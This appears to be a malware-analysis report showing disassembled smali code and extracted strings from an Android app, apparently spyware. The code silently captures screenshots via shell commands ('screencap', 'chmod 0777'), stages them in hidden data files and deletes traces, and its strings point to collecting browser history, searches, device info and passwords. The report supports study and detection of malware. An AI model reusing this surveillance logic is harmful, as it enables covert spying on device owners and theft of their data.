      392const-string v0, "Chunker - original file size not equal to copied file size. returning."
      394invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      395goto/16 :goto_18
      396cond_224:
      397invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      398move-result-object v1
      400invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      401move-result-object v7
      403invoke-static/range {v0 .. v7}, Lcom/network/i/b;->a(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;ILandroid/content/Context;)I
      404new-instance v0, Ljava/lang/StringBuilder;
      406const-string v1, "Chunker - chunkAllFilesInFolder deleted file: "
      408invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      410invoke-virtual {v8}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      411move-result-object v1
      413invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      414move-result-object v0
      416invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      417move-result-object v0
      419invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      421invoke-virtual {v8}, Ljava/io/File;->delete()Z
      422new-instance v0, Ljava/lang/StringBuilder;
      424const-string v1, "Chunker - chunkAllFilesInFolder deleted file: "
      426invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      428invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      429move-result-object v1
      431invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      432move-result-object v0
      434invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      435move-result-object v0
      437invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      439invoke-virtual {v12}, Ljava/io/File;->delete()Z
      440try_end_261: goto/16 :goto_2e
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Throwable.getLocalizedMessage
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.File.delete
      • java.io.ByteArrayOutputStream.<init>
      • android.graphics.BitmapFactory$Options.<init>
      • android.graphics.BitmapFactory.decodeByteArray
      • android.graphics.Bitmap$CompressFormat.JPEG:Landroid/graphics/Bitmap$CompressFormat
      • android.graphics.Bitmap.compress
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.ByteArrayOutputStream.toByteArray
      • java.io.ByteArrayOutputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.File.delete
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • /system/bin/screencap
      • CameraUtil takeScreenShot
      • /data/data/com.network.android/bqul4.dat
      • takeScreenShot filePath
      • /system/bin/screencap -p
      • chmod 0777
      • CameraUtil takeScreenShot screen shot does not exist.
      • takeScreenShot takePhoto Exception-
      • CameraUtil takeScreenShot finaly Exception-
      • ScreenShot-res
      • -
      • .jpg
      • CameraUtil takeScreenShot Picture taken:
      • size:
      • CameraUtil takeScreenShot Picture taken after compression:
      • jpg
      • CameraUtil takeScreenshotExternal
      • /data/data/com.network.android/bqul3.dat
      • /data/data/com.network.android/tss64.dat
      • CameraUtil takeScreenShot 2
      • ;
      • ; chmod 0777
      • ;
      • CameraUtil takeScreenshotExternal with
      • CameraUtil takeScreenshotExternal photo file does not exists. returning null.
      • CameraUtil takeScreenShot (takeScreenshotExternal) exe does not exists.
      • CameraUtil takeScreenshotExternal photo file exists
      Position Instruction Meta Information
      0const/4 v9, 0x2
      1const/4 v6, 0x1
      2const-class v8, Lcom/network/media/a;
      3monitor-enter v8
      4const/4 v1, 0x0
      5try_start_6: new-instance v0, Ljava/io/File;
      7const-string v2, "/system/bin/screencap"
      9invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      11invoke-virtual {v0}, Ljava/io/File;->exists()Z
      12move-result v0
      13if-eqz v0, :cond_198
      15const-string v0, "CameraUtil takeScreenShot"
      17invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      19const-string v0, "/data/data/com.network.android/bqul4.dat"
      20new-instance v2, Ljava/lang/StringBuilder;
      22const-string v3, "takeScreenShot filePath"
      24invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      26invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      27move-result-object v2
      29invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      30move-result-object v2
      32invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      33new-instance v2, Ljava/lang/StringBuilder;
      35const-string v3, "/system/bin/screencap -p "
      37invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      39invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      40move-result-object v2
      42invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      43move-result-object v2
      45invoke-static {v2}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      46new-instance v2, Ljava/lang/StringBuilder;
      48const-string v3, "chmod 0777 "
      50invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      52invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      53move-result-object v2
      55invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      56move-result-object v2
      58invoke-static {v2}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      59new-instance v3, Ljava/io/File;
      61invoke-direct {v3, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      63invoke-virtual {v3}, Ljava/io/File;->exists()Z
      64move-result v0
      65if-nez v0, :cond_da
      67const-string v0, "CameraUtil takeScreenShot screen shot does not exist."
      69invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      70if-eqz p1, :cond_81
      71const/4 v0, 0x0
      72const/16 v2, 0x7b
      74const-string v3, ""
      76invoke-static {p1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      77move-result-object v4
      79invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      80const/4 v0, 0x0
      81const/16 v2, -0x3cae
      83const-string v3, ""
      85invoke-static {p1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      86move-result-object v4
      88invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      89try_end_7a: if-eqz v1, :cond_7f
      90try_start_7c:
      91invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      92cond_7f: monitor-exit v8
      93return-void
      94cond_81: const/4 v0, 0x0
      95const/16 v2, 0x7b
      96try_start_84:
      97invoke-static {v0, v2}, Lcom/network/android/c/a/b;->a(IS)V
      98try_end_87: goto/16 :goto_7a
      99catch_88: move-exception v0
      100goto_89: new-instance v2, Ljava/lang/StringBuilder;
      102const-string v3, "takeScreenShot takePhoto Exception- "
      104invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      106invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      107move-result-object v3
      109invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      110move-result-object v2
      112invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      113move-result-object v2
      115invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      116const/4 v2, 0x0
      117const/16 v3, 0x7b
      119invoke-virtual {v0}, Ljava/lang/Throwable;->getLocalizedMessage()Ljava/lang/String;
      120move-result-object v0
      122invoke-static {p1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      123move-result-object v4
      125invoke-static {v2, v3, v0, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      126const/4 v0, 0x0
      127const/16 v2, -0x3cae
      129const-string v3, ""
      131invoke-static {p1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      132move-result-object v4
      134invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      135try_end_b9: if-eqz v1, :cond_7f
      136try_start_bb:
      137invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      138try_end_be: goto/16 :goto_7f
      139catch_bf: move-exception v0
      140try_start_c0: new-instance v1, Ljava/lang/StringBuilder;
      142const-string v2, "CameraUtil takeScreenShot finaly Exception- "
      144invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      146invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      147move-result-object v2
      149invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      150move-result-object v1
      152invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      153move-result-object v1
      155invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      156try_end_d6: goto/16 :goto_7f
      157catchall_d7: move-exception v0
      158monitor-exit v8
      159throw v0
      160cond_da:
      161invoke-virtual {v3}, Ljava/io/File;->length()J
      162move-result-wide v4
      163long-to-int v0, v4
      164new-array v0, v0, [B
      165new-instance v2, Ljava/io/FileInputStream;
      167invoke-direct {v2, v3}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      168try_end_e6:
      169invoke-virtual {v2, v0}, Ljava/io/FileInputStream;->read([B)I
      171invoke-virtual {v3}, Ljava/io/File;->delete()Z
      172try_end_ec: move-object v7, v2
      173goto_ed:
      174invoke-static {}, Lcom/network/i/e;->b()Ljava/lang/String;
      175move-result-object v2
      176new-instance v4, Ljava/io/ByteArrayOutputStream;
      178invoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
      179new-instance v1, Landroid/graphics/BitmapFactory$Options;
      181invoke-direct {v1}, Landroid/graphics/BitmapFactory$Options;-><init>()V
      182if-ne p2, v9, :cond_278
      183const/4 v3, 0x2
      184iput v3, v1, Landroid/graphics/BitmapFactory$Options;->inSampleSize:I
      185goto_100: const/4 v3, 0x0
      186array-length v5, v0
      188invoke-static {v0, v3, v5, v1}, Landroid/graphics/BitmapFactory;->decodeByteArray([BIILandroid/graphics/BitmapFactory$Options;)Landroid/graphics/Bitmap;
      189move-result-object v1
      191sget-object v3, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
      192const/16 v5, 0x32
      194invoke-virtual {v1, v3, v5, v4}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
      195new-instance v1, Ljava/lang/StringBuilder;
      197const-string v3, "ScreenShot-res"
      199invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      201invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      202move-result-object v1
      204const-string v3, "-"
      206invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      207move-result-object v1
      209invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      210move-result-object v1
      212const-string v3, ".jpg"
      214invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      215move-result-object v1
      217invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      218move-result-object v3
      219new-instance v1, Ljava/lang/StringBuilder;
      221const-string v5, "CameraUtil takeScreenShot Picture taken:"
      223invoke-direct {v1, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      225invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      226move-result-object v1
      228const-string v5, " size: "
      230invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      231move-result-object v1
      232array-length v0, v0
      234invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      235move-result-object v0
      237invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      238move-result-object v0
      240invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      242invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      243move-result-object v1
      245invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
      246new-instance v0, Ljava/lang/StringBuilder;
      248const-string v4, "CameraUtil takeScreenShot Picture taken after compression:"
      250invoke-direct {v0, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      252invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      253move-result-object v0
      255const-string v4, " size: "
      257invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      258move-result-object v0
      259array-length v4, v1
      261invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      262move-result-object v0
      264invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      265move-result-object v0
      267invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      269invoke-static {p1}, Lcom/network/android/c/a/b;->a(Ljava/lang/String;)V
      270const/4 v5, 0x4
      272const-string v6, "jpg"
      273move-object v0, p0
      274move-object v4, p1
      276invoke-static/range {v0 .. v6}, Lcom/network/media/a;->a(Landroid/content/Context;[BLjava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;)V
      277try_end_178: if-eqz v7, :cond_7f
      278try_start_17a:
      279invoke-virtual {v7}, Ljava/io/FileInputStream;->close()V
      280try_end_17d: goto/16 :goto_7f
      281catch_17f: move-exception v0
      282try_start_180: new-instance v1, Ljava/lang/StringBuilder;
      284const-string v2, "CameraUtil takeScreenShot finaly Exception- "
      286invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      288invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      289move-result-object v2
      291invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      292move-result-object v1
      294invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      295move-result-object v1
      297invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      298try_end_196: goto/16 :goto_7f
      299try_start_198:
      300const-string v0, "CameraUtil takeScreenshotExternal"
      302invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      304const-string v0, "/data/data/com.network.android/bqul3.dat"
      305new-instance v2, Ljava/lang/StringBuilder;
      307const-string v3, "takeScreenShot filePath"
      309invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      311invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      312move-result-object v2
      314invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      315move-result-object v2
      317invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      319const-string v2, "/data/data/com.network.android/tss64.dat"
      320const v3, 0x7f030005
      322invoke-static {v3, v2, p0}, Lcom/network/h/b;->a(ILjava/lang/String;Landroid/content/Context;)V
      324const-string v3, "CameraUtil takeScreenShot 2"
      326invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      327new-instance v3, Ljava/lang/StringBuilder;
      329const-string v4, "chmod 0777 "
      331invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      333invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      334move-result-object v3
      336const-string v4, "; "
      338invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      339move-result-object v3
      341invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      342move-result-object v3
      344const-string v4, " "
      346invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      347move-result-object v3
      349invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      350move-result-object v3
      352const-string v4, "; chmod 0777 "
      354invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      355move-result-object v3
      357invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      358move-result-object v3
      360const-string v4, ";"
      362invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      363move-result-object v3
      365invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      366move-result-object v3
      368invoke-static {v3}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      369new-instance v3, Ljava/lang/StringBuilder;
      371const-string v4, "CameraUtil takeScreenshotExternal with "
      373invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      375invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      376move-result-object v2
      378invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      379move-result-object v2
      381invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      382new-instance v2, Ljava/io/File;
      384invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      386invoke-virtual {v2}, Ljava/io/File;->exists()Z
      387move-result v0
      388if-nez v0, :cond_256
      390const-string v0, "CameraUtil takeScreenshotExternal photo file does not exists. returning null."
      392invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      393const/4 v0, 0x0
      394goto_217: if-nez v0, :cond_2c5
      396const-string v0, "CameraUtil takeScreenShot (takeScreenshotExternal) exe does not exists."
      398invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      399const/4 v0, 0x1
      400const/16 v2, 0x7b
      402const-string v3, ""
      404invoke-static {p1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      405move-result-object v4
      407invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      408const/4 v0, 0x1
      409const/16 v2, -0x3cae
      411const-string v3, ""
      413invoke-static {p1}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      414move-result-object v4
      416invoke-static {v0, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      417try_end_236: if-eqz v1, :cond_7f
      418try_start_238:
      419invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      420try_end_23b: goto/16 :goto_7f
      421catch_23d: move-exception v0
      422try_start_23e: new-instance v1, Ljava/lang/StringBuilder;
      424const-string v2, "CameraUtil takeScreenShot finaly Exception- "
      426invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      428invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      429move-result-object v2
      431invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      432move-result-object v1
      434invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      435move-result-object v1
      437invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      438try_end_254: goto/16 :goto_7f
      439cond_256:
      440const-string v0, "CameraUtil takeScreenshotExternal photo file exists "
      442invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      444invoke-virtual {v2}, Ljava/io/File;->length()J
      445move-result-wide v3
      446long-to-int v0, v3
      447new-array v0, v0, [B
      448new-instance v3, Ljava/io/FileInputStream;
      450invoke-direct {v3, v2}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      452invoke-virtual {v3, v0}, Ljava/io/FileInputStream;->read([B)I
      454invoke-virtual {v2}, Ljava/io/File;->delete()Z
      456invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      457try_end_270: goto/16 :goto_217
      458catchall_271: move-exception v0
      459goto_272: if-eqz v1, :cond_277
      460try_start_274:
      461invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      462try_end_277: throw v0
      463try_end_278: if-ne p2, v6, :cond_283
      464const/4 v3, 0x3
      465try_start_27b: iput v3, v1, Landroid/graphics/BitmapFactory$Options;->inSampleSize:I
      466goto/16 :goto_100
      467catch_27f: move-exception v0
      468move-object v1, v7
      469goto/16 :goto_89
      470cond_283: if-nez p2, :cond_100
      471const/4 v3, 0x4
      472iput v3, v1, Landroid/graphics/BitmapFactory$Options;->inSampleSize:I
      473try_end_288: goto/16 :goto_100
      474catchall_28a: move-exception v0
      475move-object v1, v7
      476goto/16 :goto_272
      477catch_28d: move-exception v1
      478try_start_28e: new-instance v2, Ljava/lang/StringBuilder;
      480const-string v3, "CameraUtil takeScreenShot finaly Exception- "
      482invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      484invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      485move-result-object v3
      487invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      488move-result-object v2
      490invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      491move-result-object v2
      493invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      494goto/16 :goto_277
      495catch_2a5: move-exception v0
      496new-instance v1, Ljava/lang/StringBuilder;
      498const-string v2, "CameraUtil takeScreenShot finaly Exception- "
      500invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      502invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      503move-result-object v2
      505invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      506move-result-object v1
      508invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      509move-result-object v1
      511invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      512try_end_2bc: goto/16 :goto_7f
      513catchall_2be: move-exception v0
      514move-object v1, v2
      515goto/16 :goto_272
      516catch_2c1: move-exception v0
      517move-object v1, v2
      518goto/16 :goto_89
      519cond_2c5: move-object v7, v1
      520goto/16 :goto_ed
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.Runtime.getRuntime
      • java.lang.Runtime.exec
      • java.lang.Process.getInputStream
      • java.io.InputStreamReader.<init>
      • java.io.BufferedReader.<init>
      • java.io.BufferedReader.readLine
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Process.destroy
      • android.provider.Browser.BOOKMARKS_URI:Landroid/net/Uri
      • android.provider.Browser.HISTORY_PROJECTION:[Ljava/lang/String
      • android.content.ContentResolver.query
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getCount
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getInt
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.provider.Browser.SEARCHES_URI:Landroid/net/Uri
      • android.provider.Browser.SEARCHES_PROJECTION:[Ljava/lang/String
      • android.content.ContentResolver.query
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getCount
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.io.File.<init>
      • java.io.File.exists
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.length
      • java.lang.Process.destroy
      • java.lang.Process.destroy
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.close
      • android.database.Cursor.close
      • android.database.Cursor.close
      • android.database.Cursor.close
      Strings
      • getBrowserHistory get browsing and bookmark start
      • getprop
      • \n
      • getDeviceInfo get device info Exception-
      • getBrowserHistory
      • bookmark
      • title
      • :
      • \r\n
      • getBrowserHistory browsing and bookmark iter error:
      • getBrowserHistory browsing and bookmark Exception-
      • getBrowserHistory browsing and bookmark end
      • getBrowserSearchHistory start
      • getBrowserSearchHistory
      • getBrowserHistory iter error:
      • getBrowserHistory get Exception-
      • /system/csk
      • misc
      • Device Info
      • Browser History
      • Browser Favorites
      • Search History
      • Passwords
